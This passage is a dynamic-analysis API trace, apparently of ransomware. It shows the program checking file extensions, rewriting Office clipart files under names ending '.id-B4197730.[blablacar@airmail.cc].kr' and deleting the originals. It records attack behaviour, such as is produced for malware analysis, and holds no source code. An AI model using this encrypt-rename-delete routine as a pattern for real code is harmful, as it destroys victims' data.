[0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString=".jpg") returned 4 [0212.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString=".doc") returned 4 [0212.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString=".docx") returned 5 [0212.313] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.313] lstrlenW (lpString=".pdf") returned 4 [0212.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString=".xls") returned 4 [0212.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.313] lstrlenW (lpString=".xlsx") returned 5 [0212.313] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.313] lstrlenW (lpString=".ppt") returned 4 [0212.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString=".zip") returned 4 [0212.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.313] lstrlenW (lpString=".rar") returned 4 [0212.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString=".bz2") returned 4 [0212.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString=".7z") returned 3 [0212.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString=".dbf") returned 4 [0212.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.314] lstrlenW (lpString=".1cd") returned 4 [0212.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.314] lstrlenW (lpString=".jpg") returned 4 [0212.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.314] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.314] lstrlenW (lpString="J0107458.WMF") returned 12 [0212.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.314] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3568) returned 1 [0212.314] CloseHandle (hObject=0x518) returned 1 [0212.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220 [0212.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.315] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.315] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.316] GetLastError () returned 0x0 [0212.316] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xdf0, lpOverlapped=0x0) returned 1 [0212.317] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe00, lpOverlapped=0x0) returned 1 [0212.318] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.318] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0212.318] SetEndOfFile (hFile=0x3f8) returned 1 [0212.319] CloseHandle (hObject=0x3f8) returned 1 [0212.319] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.319] SetEndOfFile (hFile=0x518) returned 1 [0212.321] CloseHandle (hObject=0x518) returned 1 [0212.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0212.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.322] lstrlenW (lpString=".doc") returned 4 [0212.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString=".docx") returned 5 [0212.323] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.323] lstrlenW (lpString=".pdf") returned 4 [0212.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString=".xls") returned 4 [0212.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.323] lstrlenW (lpString=".xlsx") returned 5 [0212.323] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.323] lstrlenW (lpString=".ppt") returned 4 [0212.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString=".zip") returned 4 [0212.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.323] lstrlenW (lpString=".rar") returned 4 [0212.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString=".bz2") returned 4 [0212.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString=".7z") returned 3 [0212.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString=".dbf") returned 4 [0212.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString=".1cd") returned 4 [0212.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString=".jpg") returned 4 [0212.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.323] lstrlenW (lpString=".doc") returned 4 [0212.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString=".docx") returned 5 [0212.324] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.324] lstrlenW (lpString=".pdf") returned 4 [0212.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString=".xls") returned 4 [0212.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.324] lstrlenW (lpString=".xlsx") returned 5 [0212.324] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.324] lstrlenW (lpString=".ppt") returned 4 [0212.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.324] lstrlenW (lpString=".zip") returned 4 [0212.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.324] lstrlenW (lpString=".rar") returned 4 [0212.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString=".bz2") returned 4 [0212.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString=".7z") returned 3 [0212.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.324] lstrlenW (lpString=".dbf") returned 4 [0212.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.324] lstrlenW (lpString=".1cd") returned 4 [0212.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0212.324] lstrlenW (lpString=".jpg") returned 4 [0212.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.324] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.325] lstrlenW (lpString="J0107468.WMF") returned 12 [0212.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.325] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9612) returned 1 [0212.325] CloseHandle (hObject=0x518) returned 1 [0212.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0212.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.326] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.326] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0213.063] GetLastError () returned 0x0 [0213.063] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x258c, lpOverlapped=0x0) returned 1 [0213.064] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2590, lpOverlapped=0x0) returned 1 [0213.066] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.066] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.066] SetEndOfFile (hFile=0x378) returned 1 [0213.066] CloseHandle (hObject=0x378) returned 1 [0213.066] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.066] SetEndOfFile (hFile=0x518) returned 1 [0213.068] CloseHandle (hObject=0x518) returned 1 [0213.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0213.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.070] lstrlenW (lpString=".doc") returned 4 [0213.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.070] lstrlenW (lpString=".docx") returned 5 [0213.070] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.070] lstrlenW (lpString=".pdf") returned 4 [0213.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.070] lstrlenW (lpString=".xls") returned 4 [0213.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.070] lstrlenW (lpString=".xlsx") returned 5 [0213.070] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.070] lstrlenW (lpString=".ppt") returned 4 [0213.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.070] lstrlenW (lpString=".zip") returned 4 [0213.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.071] lstrlenW (lpString=".rar") returned 4 [0213.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString=".bz2") returned 4 [0213.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString=".7z") returned 3 [0213.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString=".dbf") returned 4 [0213.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString=".1cd") returned 4 [0213.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString=".jpg") returned 4 [0213.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString=".doc") returned 4 [0213.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString=".docx") returned 5 [0213.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.071] lstrlenW (lpString=".pdf") returned 4 [0213.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString=".xls") returned 4 [0213.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.071] lstrlenW (lpString=".xlsx") returned 5 [0213.071] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.071] lstrlenW (lpString=".ppt") returned 4 [0213.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.071] lstrlenW (lpString=".zip") returned 4 [0213.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.071] lstrlenW (lpString=".rar") returned 4 [0213.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.072] lstrlenW (lpString=".bz2") returned 4 [0213.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.072] lstrlenW (lpString=".7z") returned 3 [0213.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.072] lstrlenW (lpString=".dbf") returned 4 [0213.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.072] lstrlenW (lpString=".1cd") returned 4 [0213.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0213.072] lstrlenW (lpString=".jpg") returned 4 [0213.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.072] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.072] lstrlenW (lpString="J0107502.WMF") returned 12 [0213.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.073] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10836) returned 1 [0213.073] CloseHandle (hObject=0x518) returned 1 [0213.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0213.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.073] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.073] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0213.074] GetLastError () returned 0x0 [0213.074] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2a54, lpOverlapped=0x0) returned 1 [0213.076] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2a60, lpOverlapped=0x0) returned 1 [0213.077] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.077] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.077] SetEndOfFile (hFile=0x378) returned 1 [0213.077] CloseHandle (hObject=0x378) returned 1 [0213.077] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.077] SetEndOfFile (hFile=0x518) returned 1 [0213.080] CloseHandle (hObject=0x518) returned 1 [0213.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0213.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.081] lstrlenW (lpString=".doc") returned 4 [0213.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.081] lstrlenW (lpString=".docx") returned 5 [0213.082] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.082] lstrlenW (lpString=".pdf") returned 4 [0213.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString=".xls") returned 4 [0213.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.082] lstrlenW (lpString=".xlsx") returned 5 [0213.082] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.082] lstrlenW (lpString=".ppt") returned 4 [0213.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString=".zip") returned 4 [0213.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.082] lstrlenW (lpString=".rar") returned 4 [0213.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString=".bz2") returned 4 [0213.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString=".7z") returned 3 [0213.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString=".dbf") returned 4 [0213.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString=".1cd") returned 4 [0213.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString=".jpg") returned 4 [0213.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.082] lstrlenW (lpString=".doc") returned 4 [0213.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.082] 